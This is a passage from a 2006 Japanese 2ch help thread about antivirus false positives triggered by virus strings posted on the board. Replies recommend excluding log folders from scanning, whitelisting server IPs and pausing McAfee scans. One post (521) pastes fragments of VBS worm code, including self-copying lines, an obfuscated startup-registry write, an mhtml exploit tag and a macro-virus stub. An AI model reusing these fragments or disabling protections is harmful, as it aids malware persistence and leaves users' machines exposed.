ttp://makimo.to:8000/2ch/pc5_sec/1106/1106492538.html
http://qb5.2ch.net/test/read.cgi/saku/1097313582/62-65n
ttp://jbbs.livedoor.jp/bbs/read.cgi/computer/10301/1071925088/373-378
- 427 :421:2006/02/03(金) 14:40:06 ID:ZZST2Rw7
- >>426
わかりやすく説明していただき、
関連スレまで貼っていただいてありがとうございます。
ただ解決まではいけなかったので>>423の方で聞かせて頂きます。
何かわかりましたらこちらにも報告させて頂きますね。
ありがとうございました。
- 428 :ひよこ名無しさん:2006/02/06(月) 19:42:50 ID:???
- なんかjaneでこのスレ読むとレス番がずれまくりなんですけど
これ直す方法はないんでしょうか…?何度再読み込みしても
421さんが406さんになっちゃいます…↓
> 406 名前:421[] 投稿日:2006/02/03(金) 14:40:06 ID:ZZST2Rw7
logフォルダの除外設定はしてあるので、先生も怒ってないんですが…
ノートン2004でxp。専ブラはjaneDoeView α051128です
- 429 :ひよこ名無しさん:2006/02/07(火) 00:57:31 ID:3ZNXNyQs
- XPに最初から入ってるノートンをアンインスコしたらもう再インスコって出来ませんかね??
- 430 :名無しさん@お腹いぱーい。:2006/02/07(火) 01:18:43 ID:??? ?
- >>428
一旦ログを破棄してから読み込みでどうですか。
それと>>371にもありますがNIS(NPF)のファイアーウォールを誤作動させるコードもあるので
以下の設定もしてみてください。
現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。
2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures http://ansitu.xrea.jp/guidance/?Trap#Emergency_measures
http://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2
この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。
シマンテックの対応待ちです。
アンチウイルス(NAV)の設定は>>1
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
- 431 :428:2006/02/07(火) 06:33:12 ID:???
- >>430
丁寧なレスありがとうございました。火壁の設定してログ捨ててみたら
ズレてるの直りました!感謝です!
- 432 :421:2006/02/07(火) 09:35:42 ID:mnvRCCNZ
- 以前こちらで質問させて頂いて誘導された者です。
解決方法がわかりましたのでその報告をさせて頂きます。
結論からいうとマカフィーが起動している時にzipファイルの中からdatファイルを
出す方法はありませんでした。
ただマカフィーの自動スキャンを一時的に止めてその間にzipファイルの中の
datファイルを取り出すことができました。
一時的に自動スキャンを止める方法は(以下コピペ)
http://www.mcafee.com/japan/pqa/aMcAfeeMvs.asp?ancQno=MV05040434&ancProd=McAfeeMvs
>また、管理者権限でコンピュータにログオンし、[Ctrl]キーと[Shift]キーを押しながら
>タスクトレイのアイコンを右クリックすると、更に隠しメニューが表示されます。
>この隠しメニューから通常のメニューに加えて以下の操作を行うことができます。
>・隔離アイテムの一覧
>・VShieldを無効にする/VShieldを有効にする
>・終了
とのことでした。実際に試したところ成功いたしました。
またvbsウイルスソースが多々隔離されており消したところかなり早くなりました。
丁寧に教えてくれた皆さん、ありがとうございました。
- 433 :ひよこ名無しさん:2006/02/08(水) 17:28:05 ID:???
- >>430
>この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
ということですが、それはセキュリティ的には問題ないレベルなんですか?
あと↓によると
2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
>以下の対処方法では除外するIPアドレスの範囲からの攻撃に対してNISは反応しなくなります。
とありますが、2ちゃん以外の場所で除外したIPアドレスを利用した
悪意ある攻撃があった場合は大丈夫なんでしょうか?
それとも除外したIPアドレスは2ちゃん以外では使われてないのでしょうか?
分かる方いらっしゃったらご教授お願いします
- 434 :名無しさん@お腹いぱーい。:2006/02/08(水) 22:45:25 ID:??? ?
- >>432
お知らせありがとうございます。
マカフィーについての解説を参照できますので助かりました。
>>433
> 2ちゃん以外の場所で除外したIPアドレスを利用した
> 悪意ある攻撃があった場合は大丈夫なんでしょうか?
2ちゃんねる以外のIPアドレスを除外することはここではお勧めしません。
また、2ちゃんねるからの攻撃・進入等はいままではありませんでした。
過去には踏み台pcを規制するための2ちゃんねるからのインバウンド TCP 接続信号を受け入れなければいけなかったこともあります。
http://pc.2ch.net/sec/kako/1037/10377/1037772137.html の7
只、何事も絶対安全ということはないのでセキュ板本スレを見るようにしてください。
なにかあったら祭りになりますので。
【ノートン】インターネットセキュリティ Ver.82【2006】
http://pc8.2ch.net/test/read.cgi/sec/1138802896/
> それとも除外したIPアドレスは2ちゃん以外では使われてないのでしょうか?
おそらくないはずですが、2ちゃんねるのIPアドレスそのものに関しては
以下のスレに誘導されたことを明記してお聞きください。
質問・雑談スレ215@運用情報板
http://qb5.2ch.net/test/read.cgi/operate/1139244364/
関連スレ
ノートン誤作動対策本部
http://qb5.2ch.net/test/read.cgi/operate/1133161720/
- 435 :433:2006/02/08(水) 23:50:59 ID:???
- >>434
お答え頂いてありがとうございました
紹介して頂いたスレはお気に入りに登録しました
あと運用情報板に質問して、疑問も解消しました
ありがとうございました
- 436 :ひよこ名無しさん:2006/02/18(土) 20:12:50 ID:???
- ここできいていいのかあれだけど、
updateして再起動してからjane開いて更新しようとすると
中危険度の小窓がいちいち表示されるようになった
「jane.exeがインターネットにアクセスしようとしています」
security無効にすると更新できるけど、前は有効のままで更新できてたの・・
解除方法おしえてくださいm(_ _)m
- 437 :ひよこ名無しさん:2006/02/18(土) 20:37:00 ID:???
- FWが反応してるだけみたいだね。
アプリ登録するだけじゃないのかな。
まあ、ノートン使ってないんでFWの一般論だけど。
- 438 :ひよこ名無しさん:2006/02/24(金) 07:54:27 ID:/hbjD2Uq
- 2chブラウザのログ保存フォルダを「除外」に設定して、2ちゃんのスレで
ウイルス踏んじゃったらどうなるんですか?ノートンは守ってくれないんですか?
- 439 :ひよこ名無しさん:2006/02/24(金) 09:20:24 ID:???
- そんなノートンは窓から捨てろwwwwwwwwwww
- 440 :ひよこ名無しさん:2006/02/24(金) 14:13:12 ID:???
- >>438
2chブラウザのログ保存フォルダにウィルスが入り込むことはありません。
ノートンがログ保存フォルダからウィルスを見つけたと言い出しても、スレタイにある通り誤認です。
リンクをクリックして起動したWebブラウザがウィルスのあるページを読み込もうとしたときは
ちゃんと守ってくれます。
- 441 :ひよこ名無しさん:2006/02/24(金) 23:01:38 ID:???
- >>438
__
/;;;;;;;;;;;;;\
/;;:::::::::::::::::::::::\
∈=━/,,;;:::::::::::::::::::::::::.;ヽ━=∋
L::;;,__ ..:::ゝ
//;;;;::::::.. ̄ ̄ ̄ ̄..::::;;;ヽ
/ ;;;;;;;;:::::::::::;;;;;;;;;;;;;::::::::;;;;; ヽ
/j/三三三三三三三三三三ヾ、
l::||:::: |l
/ ̄\ ヽ-=・=-′ヽ-=・=-′ ||
r┤ ト::::: \___/ || <信じろ!
/ \_/ ヽ:::. \/ ,ノ
| _( ̄ l―---oo-――'"ヽ__
| _)_ノヽ\ ハ // / ヽ
ヽ____)ノ  ̄ ̄ ̄ / ヽ、
- 442 :ひよこ名無しさん:2006/02/24(金) 23:29:37 ID:/hbjD2Uq
- >>440
ありがとうございます
- 443 :ひよこ名無しさん:2006/02/28(火) 01:33:27 ID:icpaH3Er
- JANE DOE STYLEでvbs踏んで、20分後くらいから何かプログラムを実行しようとする度に
ノートンが「xxxxxが1つ以上の認識されないモジュールを使ってインターネットにアクセスしようとしています」
と出て、許可にしないとプログラム実行されず、何も出来ないのですが、これはウィルスに感染してるのでしょうか?
スキャンしても検出されず、過去ログ検索対象外にしても出続けます。
知恵をください。お願いします。
- 444 :ひよこ名無しさん:2006/02/28(火) 09:18:46 ID:GU2WNsCd
- >>443
VBSを踏んだってのはソースが貼り付けてあるスレを開いたってこと?
それともVBSが実行されたってこと?
- 445 :443:2006/02/28(火) 11:01:38 ID:???
- >>444
スレを開いただけです。
遮断ばかりしてたらいつの間にか上記のような状態になってしまってまして、
通信許可にしないと、どのプログラムも動きません。
- 446 :ひよこ名無しさん:2006/03/01(水) 15:04:09 ID:???
- >>445
リストから全部削除しろ バカ
WindowsUpdateしていたら何にも感染などしねえわ
- 447 :ひよこ名無しさん:2006/03/01(水) 21:25:32 ID:???
- >>446
> WindowsUpdateしていたら何にも感染などしねえわ
それはどうかな?
- 448 :ひよこ名無しさん:2006/03/02(木) 19:57:05 ID:???
-
>>371で板の見れない問題は解決したのですが、これは危険なのですか?
また暫定的処置という事ですが、なんらかの対応はあったのでしょうか?
- 449 :ひよこ名無しさん:2006/03/02(木) 21:46:27 ID:???
- >>448
202.222.31.214 206.223.147.35 (ryって数字が並んでるでしょ。これは2chの鯖の
IPをそのまま列挙して「この鯖は誤作動を引き起こす可能性があるだけで実害はないから、
警告しなくていいよ」という指示だから、処置を適切にしてさえいれば、あんまり
深刻に考えないで良いです。
- 450 :ひよこ名無しさん:2006/03/02(木) 21:49:48 ID:???
- >>446
Microsft Update 入れてください(><)
- 451 :448:2006/03/03(金) 18:37:00 ID:???
- >>449
サンクス
- 452 :ひよこ名無しさん:2006/03/04(土) 05:32:46 ID:???
- avastがvbsウィルスのソースに誤反応
ってスレも立ってほしいなあ
- 453 :ひよこ名無しさん:2006/03/13(月) 18:59:55 ID:V3zGYCXt
- u
- 454 :ひよこ名無しさん:2006/03/13(月) 21:10:07 ID:???
- 元祖ぶる殿 ◆U/gDqFZzsY の 自作自演
http://pc.2ch.net/test/read.cgi/win/1021112227/511-514
511 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
WIN2000を使っています。
一気にデスクトップを表示できるタスクバーにあったアイコン(ボードにペンのような印)が
なくなってしまいました。
スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても
復活させ方が分かりません。
また左下にデスクトップへショートカット(?)出来るあのアイコンを出すにはどうしたら良いでしょう。
512 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
>>511
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
これを デスクトップの表示.scf として保存、
クイック起動バーにD&D。
513 名前:名無し~3.EXE 投稿日:02/05/19 13:17
>>511-512
自作自演失敗?
514 名前:名無し~3.EXE 投稿日:02/05/19 13:19
でもなんで自演なんてするの?
- 455 :ひよこ名無しさん:2006/03/21(火) 09:43:56 ID:xHVuEeZu
- u
- 456 :ひよこ名無しさん:2006/03/23(木) 14:11:32 ID:bCv+njJc
- キタ━━ <body onload=window()> ━━━ !!
- 457 :ひよこ名無しさん:2006/03/23(木) 14:12:39 ID:???
- >>456
さっさと消えろ バカ
- 458 :ひよこ名無しさん:2006/03/23(木) 14:16:47 ID:bCv+njJc
- 即反応かよ
- 459 :ひよこ名無しさん:2006/03/23(木) 14:18:02 ID:???
- 元祖ぶる殿 ◆U/gDqFZzsY の自作自演
http://pc.2ch.net/test/read.cgi/pcqa/1021802095/837-846
837 名前:ひよこ名無しさん 投稿日:02/05/20 08:35 ID:GarmVKYa
あまりに馬鹿馬鹿しい質問ですいません。
Windows Media Plyaer と KbMedia Player がパソコンの中にあるのですが、MP3ファイルをクリックすると
Windows Media Plyaer で再生してしまうのですが、ダブルクリックした際に後者で再生するようにはどうしたらいいんでしょうか?
838 名前:ひよこ名無しさん 投稿日:02/05/20 08:36 ID:???
>>837
またきたのか?
Windowsの入門書以上の書籍買って関連付けに関して理解を深めろ。
839 名前:Aya ◆U.S.S.po 投稿日:02/05/20 08:36 ID:GarmVKYa
>>837
1.mp3のファイルをクリック
2.「アプリケーションから開く」を選択
3.プログラムの選択
4.「これらのファイルを開くときは、
いつもこのアプリケーションを使う」にチェック
5.OK
840 名前:ひよこ名無しさん 投稿日:02/05/20 08:37 ID:???
>>839
自作自演するときはIDを消しましょうね(ワラ
- 460 :ひよこ名無しさん:2006/03/23(木) 22:58:37 ID:???
- 元祖ぶる殿 ◆U/gDqFZzsY の 自作自演
http://pc.2ch.net/test/read.cgi/win/1021112227/511-514
511 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
WIN2000を使っています。
一気にデスクトップを表示できるタスクバーにあったアイコン(ボードにペンのような印)が
なくなってしまいました。
スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても
復活させ方が分かりません。
また左下にデスクトップへショートカット(?)出来るあのアイコンを出すにはどうしたら良いでしょう。
512 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
>>511
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
これを デスクトップの表示.scf として保存、
クイック起動バーにD&D。
513 名前:名無し~3.EXE 投稿日:02/05/19 13:17
>>511-512
自作自演失敗?
514 名前:名無し~3.EXE 投稿日:02/05/19 13:19
でもなんで自演なんてするの?
- 461 :ひよこ名無しさん:2006/03/24(金) 12:13:15 ID:+3ig7Sae
- 総合質問のスレッドで質問したところ、ここに誘導されたので、
再度質問させていただきます。マルチになってしまいますが、お願いします。
OS:XPhome
使用ソフト:ノートンアンチウイルス2006
ウイルスコード的なワームのようなものが貼られたらしく、ノートンが侵入警告を出して、
その後、そのスレとセキュリティ板にアクセスできなくなりました。これは無害でしょうか?あと対処法も教えてください。
ノートンが出したメッセージは、よく覚えてませんが、「2ch」の文字列が始のほうにありました。
ログを削除したのでスレ番号&レス番号までは分かりませんが、初心者の質問板の物凄い勢いで誰かが質問に答える
スレです。昨日の11:30分ほどのレスだったと思います。
- 462 :ひよこ名無しさん:2006/03/24(金) 12:14:12 ID:+3ig7Sae
- ちなみにjane doe styleで2ちゃんねるを閲覧しています。
- 463 :ひよこ名無しさん:2006/03/24(金) 12:15:48 ID:???
- >461
質問する前にこのスレを読めと書いたはずだが
- 464 :ひよこ名無しさん:2006/03/24(金) 12:15:50 ID:???
- >>461-462
おまえバカだろ
- 465 :ひよこ名無しさん:2006/03/24(金) 12:27:10 ID:???
- >>461
>>4
- 466 :ひよこ名無しさん:2006/03/24(金) 12:35:50 ID:+3ig7Sae
- ラブレターなどのウイルスではなくノートンプロテクションセンターが、侵入の試みを
遮断みたいなのが出るんですけど、このスレを全部読んでもどれが自分の症状の
解決策なのか分かりません・・・・。
ログのオートプロテクトの除外と手動スキャンの除外は前からしてあるのですが・・・・。
>>4を見ても何がなんだか・・・・。
- 467 :ひよこ名無しさん:2006/03/24(金) 12:40:54 ID:???
- >>466
おまえが初めに質問したスレでの自分へのレスをちゃんとよめや
- 468 :釣り氏 ◆RaigyoS2No :2006/03/24(金) 12:53:57 ID:???
- >>467
見てきましたが、当方インターネットセキュリティではなくアンチウイルスなので
書いてあることができません・・・・。
- 469 :釣り氏 ◆RaigyoS2No :2006/03/24(金) 12:54:46 ID:+3ig7Sae
- これは他スレで使ってるコテなので気にしないでください。
- 470 :ひよこ名無しさん:2006/03/24(金) 12:57:39 ID:???
- ↓出身の方ですか。ご苦労様です。
http://www.redout.net/data/osietekun.html
- 471 :ひよこ名無しさん:2006/03/24(金) 12:58:06 ID:???
- >>469
何だ釣りなのか。
思いっきり釣られちゃったよ(´∀`)
なかなかの釣り師ですね。
- 472 :釣り氏 ◆RaigyoS2No :2006/03/24(金) 12:58:48 ID:+3ig7Sae
- 具体的にどのレスの何を実行すればいいかということだけでも教えてくれませんか?
- 473 :釣り氏 ◆RaigyoS2No :2006/03/24(金) 12:59:42 ID:+3ig7Sae
- >>471
このコテはリアルで魚釣りなんで・・・・。
マジレスお願いします・・・。
- 474 :ひよこ名無しさん:2006/03/24(金) 13:00:55 ID:???
- 釣り氏 ◆RaigyoS2Noで検索
ttp://www.google.com/search?hl=ja&q=%E9%87%A3%E3%82%8A%E6%B0%8F+%E2%97%86RaigyoS2No&btnG=Google+%E6%A4%9C%E7%B4%A2
- 475 :釣り氏 ◆RaigyoS2No :2006/03/24(金) 13:04:32 ID:+3ig7Sae
- すみません。これ以上いると荒れるようなので、これで失礼します・・・。
質問は却下ということでお願いします・・・・。
- 476 :ひよこ名無しさん:2006/03/24(金) 13:05:10 ID:???
- >>473
何の魚を飼ってたの?環境省にごめんなさいしなきゃいけなかったなんて。。
- 477 :ひよこ名無しさん:2006/03/24(金) 13:08:04 ID:???
- >>476
ブルーギル
- 478 :ひよこ名無しさん:2006/03/24(金) 13:08:25 ID:???
- >>473
本当に「インターネットセキュリティではなくアンチウイルス」なら、これが
参考になるかも(自分は2年ほど前にノートンやめたので確認できないが)
http://qb5.2ch.net/test/read.cgi/operate/1142464918/781
- 479 :ひよこ名無しさん:2006/03/24(金) 13:10:03 ID:???
- >>477
(ノ∀`) アチャー
- 480 :名無しさん@お腹いぱーい。:2006/03/24(金) 21:51:35 ID:???
- 緊急的に変えてみました。
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
他にNAVのワーム誤反応に関する対処方法が見つかりましたらお知らせください。
- 481 :ひよこ名無しさん:2006/03/24(金) 23:32:32 ID:5GkwjhYT
- >>480の誤反応スクリプトやろうと思ったけど、オートプロテクトを無効にしても攻撃を遮断するんだよね。
だからできなかった。まあIEで読めるからいいんだけどね。
- 482 :ひよこ名無しさん:2006/03/25(土) 00:28:09 ID:yFt5KPiX
- カサマツさん
- 483 :ひよこ名無しさん:2006/03/25(土) 10:37:30 ID:???
- ぼるぷー ◆sTCCYJJ/Lo の 自作自演
http://pc.2ch.net/test/read.cgi/win/1021112227/511-514
511 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
WIN2000を使っています。
一気にデスクトップを表示できるタスクバーにあったアイコン(ボードにペンのような印)が
なくなってしまいました。
スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても
復活させ方が分かりません。
また左下にデスクトップへショートカット(?)出来るあのアイコンを出すにはどうしたら良いでしょう。
512 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
>>511
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
これを デスクトップの表示.scf として保存、
クイック起動バーにD&D。
513 名前:名無し~3.EXE 投稿日:02/05/19 13:17
>>511-512
自作自演失敗?
514 名前:名無し~3.EXE 投稿日:02/05/19 13:19
でもなんで自演なんてするの?
- 484 :ひよこ名無しさん:2006/03/25(土) 15:16:53 ID:yFt5KPiX
- 誰か答えてくれ。
- 485 :Today+ 210-194-140-30.rev.home.ne.jp+Dinner:2006/03/25(土) 15:28:44 ID:???
- あれ?
- 486 :ひよこ名無しさん:2006/03/25(土) 21:06:36 ID:???
- ◆OCHZHO05EY の 自作自演
http://pc.2ch.net/test/read.cgi/win/1021112227/511-514
511 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
WIN2000を使っています。
一気にデスクトップを表示できるタスクバーにあったアイコン(ボードにペンのような印)が
なくなってしまいました。
スタート→設定→タスクバー〜を見ても、タスクバー上で右クリックをしても
復活させ方が分かりません。
また左下にデスクトップへショートカット(?)出来るあのアイコンを出すにはどうしたら良いでしょう。
512 名前:Aya ◆U.S.S.po 投稿日:02/05/19 13:13
>>511
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
これを デスクトップの表示.scf として保存、
クイック起動バーにD&D。
513 名前:名無し~3.EXE 投稿日:02/05/19 13:17
>>511-512
自作自演失敗?
514 名前:名無し~3.EXE 投稿日:02/05/19 13:19
でもなんで自演なんてするの?
- 487 :ひよこ名無しさん:2006/03/26(日) 00:25:22 ID:???
- >>480
こういうサイトって新鯖に変わるごとに新しい鯖のアドレス追加してるのですか?
それとも、それは手動で追加しないと駄目なのですか?
- 488 :ひよこ名無しさん:2006/03/26(日) 01:50:45 ID:???
- >>487
手動で追加してください。
- 489 :ひよこ名無しさん:2006/03/26(日) 10:00:20 ID:???
- >>487
手動ですね ある意味DNS鯖と逆を行く作業な訳ですから
- 490 :ひよこ名無しさん:2006/03/26(日) 13:41:53 ID:L69KVZ4+
- >>1を読んだんですが、
ログ保存フォルダを手動スキャンから除外するのは何故なんでしょうか?
- 491 :ひよこ名無しさん:2006/03/26(日) 13:42:57 ID:We2xmHRt
-
スーパー競馬のモバイル投票(通信費以外無料)で
【宮記念】みんなでウインクリューガーを1番人気にしよう!
http://ex14.2ch.net/test/read.cgi/keiba/1143011764
モバイル
↓
http://mob.cx-keiba.jp
PC
↓
http://sports.nifty.com/superkeiba/
フジテレビ15:00〜から始まるスーパー競馬で
みんなウインガー(本来はありえない人気薄の馬w)に投票して
若槻千夏と福原アナのリアクション見ようぜwww
頼むおまいら!!フジVSvip、vipperの力を見せてくれ!!!!!
) ∩∩ (
┏┓ ┏━━┓ .) |.巾| ( .┏┓┏┓┏┓┏┓
┏┛┗┓┃ ■ ┃┏━━━━ ノ人ヽ ━━━━┓┃┃┃┃┃┃┃┃
┣- -┫┃┏┓┃┗━━━//━\\━━━┛┃┃┃┃┃┃┃┃
┗┓┏┛┗┛┃┃ Λ_Λ/ ∩∩ \ Λ_Λ ┣┫┣┫┣┫┣┫
┗┛ ┗┛ ( ´∀) |.┃| (∀` ) .┗┛┗┛┗┛┗┛
/ ⌒\ ノ 人ニニニニニ⌒\
/ /\ Y / \ \
ノ / __ ̄_______ ヽ ヽ ノ⌒、
ノ^ヽ (( / |||┌─────┐ J | | 入 Y⌒/\)
|_/ \`Y / ||| |ヽ(゚∀゚)ノ .| ◎ | / | / \/
// /\/ .||| | ( ) ヽ(゚∀゚).| .| ─ し/\) \\
/// / / ||| | < < (゚∀゚)ノ | |||||| | \ \ \\
スーパー競馬
- 492 :ひよこ名無しさん:2006/03/26(日) 14:18:37 ID:???
- >>490
誤反応させないようにするためじゃないの?
- 493 :ひよこ名無しさん:2006/03/26(日) 14:20:11 ID:???
- >>490
本当に>>1を読んだなら理解できるはず。
簡単にまとめると、ノートンはウィルスとして動作しないものまでウィルスと判定する。
(部分的なパターン照合だけで判定するため)
ノートンのこの性質を悪用して、ノートンを反応させる文字列を2chに貼りまくるヴァカが大勢いる。
ノートン側も2ch側も対応する気はなく、ノートンユーザーが各自対策するしかない。
「手動スキャン」に限って言えば、自動で駆除/隔離しないようにして、いちいち
手動で対応してもよいなら敢えて除外しないという選択もあり。
- 494 :ひよこ名無しさん:2006/03/27(月) 01:29:18 ID:l0NeUula
- Avastですが191の方法でも駄目です。
私だけでもないようです
524 :名無しさん@お腹いっぱい。 :2005/06/11(土) 16:44:33
こんにちは。質問です。
2ちゃんを見てると時々ウイルスが発見されて
スレ自体が見られなくなるんですが、良い解決策があれば教えてください。
2ちゃんブラウザはギコナビ、アンチウイルスはavast!です。
発見されるウイルスはWin32:Mhtplo-26 [Trj]ってのです。
avastの設定の「例外」に
2ちゃんのlogファイルを入れてみたんですがそれでも駄目でした。
- 495 :ひよこ名無しさん:2006/03/27(月) 01:29:55 ID:???
- >>494
ウイルス持って逃げろ。
- 496 :ひよこ名無しさん:2006/03/27(月) 03:08:39 ID:l0NeUula
- 意味がわかりません
- 497 :ひよこ名無しさん:2006/03/27(月) 07:11:47 ID:???
- 最近PCが重い!
│
├ 1.PCを買い換える
│
│ [まちがい]
│ 確実な方法ではありますが、お金がかかるのが難点です。
│ それよりも別の手段を探してみませんか?
│ ちょっとしたフリーウェアでなんとかなるかも?
│ ↑
│ ココがポイント!
│
└ 2.RegSeekerを使う
[せいかい]
Regseeker
ttp://www.hoverdesk.net/freeware.htm
RegSeeker1.3Beta日本語ファイル
ttp://downloads.at.infoseek.co.jp/
- 498 :ひよこ名無しさん:2006/03/27(月) 15:04:09 ID:???
- 漏れなくシステム破壊の特典あり!!!
- 499 :ひよこ名無しさん:2006/03/27(月) 15:18:31 ID:l0NeUula
- 意味がわかりません
- 500 :ひよこ名無しさん:2006/03/27(月) 16:03:22 ID:???
- >>494
ここにavastユーザーはあまりこないので
誘導されたこととテンプレをよく読んで
より詳しい環境を添えて↓で聞いてください。
avast! Anti-Virus Part41
http://pc8.2ch.net/test/read.cgi/sec/1143369350/
- 501 :ひよこ名無しさん:2006/03/27(月) 22:43:15 ID:l0NeUula
- 最初そちらに書き込もうと思ったのですが
質問できる雰囲気じゃないんです。
- 502 :ひよこ名無しさん:2006/03/28(火) 01:04:40 ID:???
- >>501
新スレに移行しましたね。
avast! Anti-Virus Part43
http://pc8.2ch.net/test/read.cgi/sec/1143473121/
>>500にもありますがテンプレをよく読んで誘導されたこととより詳しい環境を添えて聞いてください。
嵐があっても見てくださる人はいます。
チャットではないので即レスは期待しないでくださいね。
邪魔が入ってスルーされたと感じて再投稿する場合や再質問する場合は最初に質問したレス番を名前欄に入れてください。
参考に
一般的な質問の仕方
http://ansitu.xrea.jp/guidance/?methodofquestion
- 503 :ひよこ名無しさん:2006/03/28(火) 14:26:03 ID:YrT7DvdY
- 502さんありがとう。
流れが相変わらず速いので機を見て質問することにします。
次回はNortonだけでなくAvastもスレのタイトルに加えてください。
- 504 :ひよこ名無しさん:2006/04/10(月) 20:39:28 ID:x24VBSPG
- ↑
- 505 :ひよこ名無しさん:2006/04/10(月) 21:13:51 ID:xObkN9pL
- Wscript.KakWormっていうウィルスを↓のスレを見るたびに感染します。
http://sakura01.bbspink.com/test/read.cgi/ascii/1135064245/l50
(´・ω・`)ボスケテ
ノートンさんが反応します。
- 506 :ひよこ名無しさん:2006/04/10(月) 21:16:42 ID:???
- >>505
キンタマです。
- 507 :ひよこ名無しさん:2006/04/10(月) 21:20:28 ID:???
- >506
誤反応ってことですか??
- 508 :ひよこ名無しさん:2006/04/10(月) 21:20:58 ID:???
- >>507
トロイです。
- 509 :ひよこ名無しさん:2006/04/10(月) 21:21:56 ID:???
- >>508
(´・ω・`)ショボン
- 510 :ひよこ名無しさん:2006/04/10(月) 21:23:26 ID:???
- 検疫→削除で桶ですか??
- 511 :ひよこ名無しさん:2006/04/10(月) 21:25:47 ID:???
- 683を除外(´・ω・`)
- 512 :ひよこ名無しさん:2006/04/10(月) 21:27:20 ID:???
- >>511
初心者なもので分かりませんorz683とは何ですか?
- 513 :sage:2006/04/10(月) 21:58:13 ID:EhjrOlSY
- テスト
- 514 :ひよこ名無しさん:2006/04/10(月) 21:58:27 ID:???
- >>512
キンタマです。
- 515 :ひよこ名無しさん:2006/04/10(月) 21:59:34 ID:???
- テスト
- 516 :SAGE:2006/04/10(月) 22:01:07 ID:EhjrOlSY
- テスト
- 517 :ひよこ名無しさん:2006/04/10(月) 22:02:04 ID:???
- テスト
- 518 :ひよこ名無しさん:2006/04/10(月) 22:03:53 ID:???
- テスト
- 519 :ひよこ名無しさん:2006/04/12(水) 21:37:07 ID:oU4WH0fi
- http://money4.2ch.net/test/read.cgi/pachij/1140536153/
ここのすれの>>457のところにウイルスコードがあってあるので、
ノートンを立ち上げて、オプション→オートプロテクト→除外→新規→フォルダー?アイコン→
ローカルディスク(C)→プログラムファイル→Live2ちゃん→log→money4.2ch.net→pachij→
1140536153と1140536153.idx→すべてOKで閉じ
をしたのに、相変わらず上のスレではノートンが反応します。
再度除外項目を見たのですがきちんと除外項目に入ってました。
何故反応するのでしょうか??
- 520 :ひよこ名無しさん:2006/04/12(水) 22:14:11 ID:oU4WH0fi
- age
- 521 :ひよこ名無しさん:2006/04/12(水) 22:35:04 ID:???
- If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
- 522 :519:2006/04/12(水) 22:53:09 ID:oU4WH0fi
- 他で聞きます。
- 523 :ぴーこ名無しさん:2006/04/13(木) 00:07:39 ID:???
- >>519,522
・・・
>>1
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
ログフォルダの場所等についてはお使いの2ちゃんねるブラウザの配布サイト・ヘルプ・スレ等で確認してください。
また、これとは別にワーム誤反応対策の設定もしてね。
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
